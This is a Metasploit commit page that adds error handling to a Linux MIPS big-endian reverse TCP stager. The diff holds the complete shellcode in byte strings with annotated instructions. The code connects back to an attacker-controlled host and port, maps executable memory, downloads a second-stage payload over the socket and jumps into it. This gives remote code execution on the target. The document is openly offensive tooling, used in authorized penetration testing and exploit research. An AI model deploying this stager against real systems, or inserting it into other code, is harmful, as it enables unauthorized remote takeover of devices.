Skip to content

Commit d1f08a8

Browse files
tkmrutkmru
committed
add error handling to reverse_tcp on mipsbe
1 parent 6a8d54a commit d1f08a8

File tree

2 files changed

+81
-25
lines changed

2 files changed

+81
-25
lines changed

‎external/source/shellcode/linux/mipsbe/stager_sock_reverse.s

Lines changed: 8 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,11 @@
11
##
2-
#
2+
#
33
# Name: stager_sock_reverse
44
# Type: Stager
55
# Qualities: No Nulls out of the IP / Port data
66
# Platforms: Linux MIPS Big Endian
77
# Authors: juan vazquez <juan.vazquez [at] metasploit.com>
8-
# License:
8+
# License:
99
#
1010
# This file is part of the Metasploit Exploit Framework
1111
# and is subject to the same licenses and copyrights as
@@ -47,8 +47,9 @@ main:
4747
slti $a2, $zero, -1
4848
li $v0, 4183
4949
syscall 0x40404
50-
sw $v0, -4($sp) # store the file descriptor for the socket on the stack
51-
50+
51+
sw $v0, -4($sp) # store the file descriptor for the socket on the stack
52+
5253
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
5354
# a0: sockfd
5455
# a1: addr = AF_INET (2)
@@ -68,7 +69,7 @@ main:
6869
nor $a2, $t4, $zero
6970
li $v0, 4170
7071
syscall 0x40404
71-
72+
7273
# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
7374
# a0: addr = -1
7475
# a1: lenght = 4096
@@ -91,6 +92,7 @@ main:
9192
sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
9293
li $v0, 4090
9394
syscall 0x40404
95+
9496
sw $v0, -8($sp) # Stores the mmap'ed address on the stack
9597

9698
# read(sockfd, addr, 4096)
@@ -117,7 +119,7 @@ main:
117119
add $a2, $t1, $0
118120
li $v0, 4147
119121
syscall 0x40404
120-
122+
121123
# jmp to the stage
122124
lw $s1, -8($sp)
123125
lw $s2, -4($sp)

‎modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb

Lines changed: 73 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,8 @@ def initialize(info = {})
2020
'Description' => 'Connect back to the attacker',
2121
'Author' =>
2222
[
23-
'juan vazquez'
23+
'juan vazquez',
24+
'tkmru'
2425
],
2526
'License' => MSF_LICENSE,
2627
'Platform' => 'linux',
@@ -30,26 +31,79 @@ def initialize(info = {})
3031
{
3132
'Offsets' =>
3233
{
33-
'LHOST' => [ [58, 62], 'ADDR16MSB' ],
34-
'LPORT' => [ 50, 'n' ],
34+
'LHOST' => [ [66, 70], 'ADDR16MSB' ],
35+
'LPORT' => [ 58, 'n' ],
3536
},
3637
'Payload' =>
37-
"\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5" +
38-
"\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c" +
39-
"\xaf\xa2\xff\xfc\x8f\xa4\xff\xfc\x24\x0f\xff\xfd\x01\xe0" +
40-
"\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x11\x5c\xaf\xae\xff\xe4" +
41-
"\x3c\x0e\x7f\x00\x35\xce\x00\x01\xaf\xae\xff\xe6\x27\xa5" +
42-
"\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a" +
43-
"\x01\x01\x01\x0c\x24\x04\xff\xff\x24\x05\x10\x01\x20\xa5" +
44-
"\xff\xff\x24\x09\xff\xf8\x01\x20\x48\x27\x01\x20\x30\x20" +
45-
"\x24\x07\x08\x02\x24\x0b\xff\xea\x01\x60\x58\x27\x03\xab" +
46-
"\x58\x20\xad\x60\xff\xff\xad\x62\xff\xfb\x24\x02\x0f\xfa" +
47-
"\x01\x01\x01\x0c\xaf\xa2\xff\xf8\x8f\xa4\xff\xfc\x8f\xa5" +
48-
"\xff\xf8\x24\x06\x10\x01\x20\xc6\xff\xff\x24\x02\x0f\xa3" +
49-
"\x01\x01\x01\x0c\x8f\xa4\xff\xf8\x00\x40\x28\x20\x24\x09" +
50-
"\xff\xfd\x01\x20\x48\x27\x01\x20\x30\x20\x24\x02\x10\x33" +
51-
"\x01\x01\x01\x0c\x8f\xb1\xff\xf8\x8f\xb2\xff\xfc\x02\x20" +
52-
"\xf8\x09"
38+
"\x24\x0f\xff\xfa" + # li t7,-6
39+
"\x01\xe0\x78\x27" + # nor t7,t7,zero
40+
"\x21\xe4\xff\xfd" + # addi a0,t7,-3
41+
"\x21\xe5\xff\xfd" + # addi a1,t7,-3
42+
"\x28\x06\xff\xff" + # slti a2,zero,-1
43+
"\x24\x02\x10\x57" + # li v0,4183
44+
"\x01\x01\x01\x0c" + # syscall 0x40404
45+
"\x00\x07\x80\x2a" + # slt s0,zero,a3
46+
"\x16\x00\x00\x36" + # bnez s0,0x4006bc <failed>
47+
"\xaf\xa2\xff\xfc" + # sw v0,-4(sp)
48+
"\x8f\xa4\xff\xfc" + # lw a0,-4(sp)
49+
"\x24\x0f\xff\xfd" + # li t7,-3
50+
"\x01\xe0\x78\x27" + # nor t7,t7,zero
51+
"\xaf\xaf\xff\xe0" + # sw t7,-32(sp)
52+
"\x3c\x0e\x11\x5c" + # lui t6,0x115c
53+
"\xaf\xae\xff\xe4" + # sw t6,-28(sp)
54+
"\x3c\x0e\x7f\x00" + # lui t6,0x7f00
55+
"\x35\xce\x00\x01" + # ori t6,t6,0x1
56+
"\xaf\xae\xff\xe6" + # sw t6,-26(sp)
57+
"\x27\xa5\xff\xe2" + # addiu a1,sp,-30
58+
"\x24\x0c\xff\xef" + # li t4,-17
59+
"\x01\x80\x30\x27" + # nor a2,t4,zero
60+
"\x24\x02\x10\x4a" + # li v0,4170
61+
"\x01\x01\x01\x0c" + # syscall 0x40404
62+
"\x00\x07\x80\x2a" + # slt s0,zero,a3
63+
"\x16\x00\x00\x25" + # bnez s0,0x4006bc <failed>
64+
"\x24\x04\xff\xff" + # li a0,-1
65+
"\x24\x05\x10\x01" + # li a1,4097
66+
"\x20\xa5\xff\xff" + # addi a1,a1,-1
67+
"\x24\x09\xff\xf8" + # li t1,-8
68+
"\x01\x20\x48\x27" + # nor t1,t1,zero
69+
"\x01\x20\x30\x20" + # add a2,t1,zero
70+
"\x24\x07\x08\x02" + # li a3,2050
71+
"\x24\x0b\xff\xea" + # li t3,-22
72+
"\x01\x60\x58\x27" + # nor t3,t3,zero
73+
"\x03\xab\x58\x20" + # add t3,sp,t3
74+
"\xad\x60\xff\xff" + # sw zero,-1(t3)
75+
"\xad\x62\xff\xfb" + # sw v0,-5(t3)
76+
"\x24\x02\x0f\xfa" + # li v0,4090
77+
"\x01\x01\x01\x0c" + # syscall 0x40404
78+
"\x00\x07\x80\x2a" + # slt s0,zero,a3
79+
"\x16\x00\x00\x15" + # bnez s0,0x4006bc <failed>
80+
"\xaf\xa2\xff\xf8" + # sw v0,-8(sp)
81+
"\x8f\xa4\xff\xfc" + # lw a0,-4(sp)
82+
"\x8f\xa5\xff\xf8" + # lw a1,-8(sp)
83+
"\x24\x06\x10\x01" + # li a2,4097
84+
"\x20\xc6\xff\xff" + # addi a2,a2,-1
85+
"\x24\x02\x0f\xa3" + # li v0,4003
86+
"\x01\x01\x01\x0c" + # syscall 0x40404
87+
"\x00\x07\x80\x2a" + # slt s0,zero,a3
88+
"\x16\x00\x00\x0c" + # bnez s0,0x4006bc <failed>
89+
"\x8f\xa4\xff\xf8" + # lw a0,-8(sp)
90+
"\x00\x40\x28\x20" + # add a1,v0,zero
91+
"\x24\x09\xff\xfd" + # li t1,-3
92+
"\x01\x20\x48\x27" + # nor t1,t1,zero
93+
"\x01\x20\x30\x20" + # add a2,t1,zero
94+
"\x24\x02\x10\x33" + # li v0,4147
95+
"\x01\x01\x01\x0c" + # syscall 0x40404
96+
"\x00\x07\x80\x2a" + # slt s0,zero,a3
97+
"\x16\x00\x00\x03" + # bnez s0,0x4006bc <failed>
98+
"\x8f\xb1\xff\xf8" + # lw s1,-8(sp)
99+
"\x8f\xb2\xff\xfc" + # lw s2,-4(sp)
100+
"\x02\x20\xf8\x09" + # jalr s1
101+
# 4006bc <failed>:
102+
"\x24\x04\x00\x01" + # li a0,1
103+
"\x24\x02\x0f\xa1" + # li v0,4001
104+
"\x01\x01\x01\x0c" + # syscall 0x40404
105+
"\x00\x20\x08\x25" + # move at,at
106+
"\x00\x20\x08\x25" # move at,at
53107
}
54108
))
55109
end

0 commit comments

Comments
 (0)